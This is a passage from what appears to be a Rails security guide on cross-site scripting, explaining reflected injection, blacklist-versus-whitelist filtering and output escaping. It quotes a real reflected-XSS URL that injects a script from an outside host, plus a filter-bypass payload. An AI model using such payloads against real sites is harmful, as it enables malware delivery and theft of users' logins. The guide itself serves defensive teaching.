This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the Mpack attack framework. Mpack tries to install malicious software through security holes in the web browser - very successfully, 50% of the attacks succeed.
A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.

Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":

```
http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1
-->
  <script src=http://www.securitylab.ru/test/sc.js></script><!--
```

7.3.2.3 Countermeasures

It is very important to filter malicious input, but it is also important to escape the output of the web application.
Especially for XSS, it is important to do *whitelist input filtering instead of blacklist*. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
Imagine a blacklist deletes "script" from the user input. Now the attacker injects "<scrscriptipt>", and after the filter, "<script>" remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:

```
strip_tags("some<<b>script>alert('hello')<</b>/script>")
```

This returned "some<script>alert('hello')</script>", which makes an attack work. That's why a whitelist approach is better, using the updated Rails 2 method sanitize():

```
tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6
blockquote br cite sub sup ins p)
s = sanitize(user_input, tags: tags, attributes: %w(href title))
```

This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.

As a second step, *it is good practice to escape all output of the application*, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). *Use `escapeHTML()` (or its alias `h()`) method* to replace the HTML input characters &, ", <, > by their uninterpreted representations in HTML (`&`, `"`, `<`, and `>`). However, it can easily happen that the programmer forgets to use it, so _it is recommended to use the SafeErb gem. SafeErb reminds you to escape strings from external sources.

7.3.2.4 Obfuscation and Encoding Injection

Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding: